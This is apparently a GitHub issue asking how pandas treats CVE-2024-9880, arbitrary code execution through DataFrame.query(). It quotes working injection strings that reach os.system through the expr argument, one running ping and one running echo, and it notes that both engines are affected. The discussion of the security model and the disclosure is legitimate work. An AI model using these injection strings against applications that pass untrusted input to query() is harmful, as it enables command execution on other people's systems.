QST: Does the project consider DataFrame.query() arbitrary code execution to be a security vulnerability?

[nickodell]

Research

• I have searched the [pandas] tag on StackOverflow for similar questions.

• I have asked my usage related question on StackOverflow.

Link to question on StackOverflow

https://stackoverflow.com/questions/79304226/should-i-manually-patch-the-pandas-dataframe-query-vulnerability-or-wait-for-a

(To clarify, this question was written by another user.)

Question about pandas

Hi, I saw this question on StackOverflow, which is about a public CVE, CVE-2024-9880.

The basic premise of the CVE is that if an attacker controls the expr argument to DataFrame.query(), then arbitrary code execution can be achieved.

The example given in the CVE is

import pandas as pd


df = pd.DataFrame({'a': [1, 2, 3], 'b': ['error_details', 'confidential_info', 'normal']})


query = '@pd.core.frame.com.builtins.__import__("os").system("""ping google.com #""")'
try:
    engine = "python"
    result = df.query(query,local_dict={},engine="python",).index
except Exception as e:
    print(f'Error: {e}')

However, this is not minimal, and a more minimal construction would be

import pandas as pd

df = pd.DataFrame()

expr = '@pd.compat.os.system("""echo foo""")'
result = df.query(expr, engine='python')

(The report also says that engine='python' is required, but both engine='python' and engine='numexpr' worked in my testing.)

My question is about Pandas's security model. What security guarantees does Pandas make about DataFrame.query() with an attacker-controlled expr?

My intuition about this is "none, don't do that," but I'm wondering what the Pandas project thinks.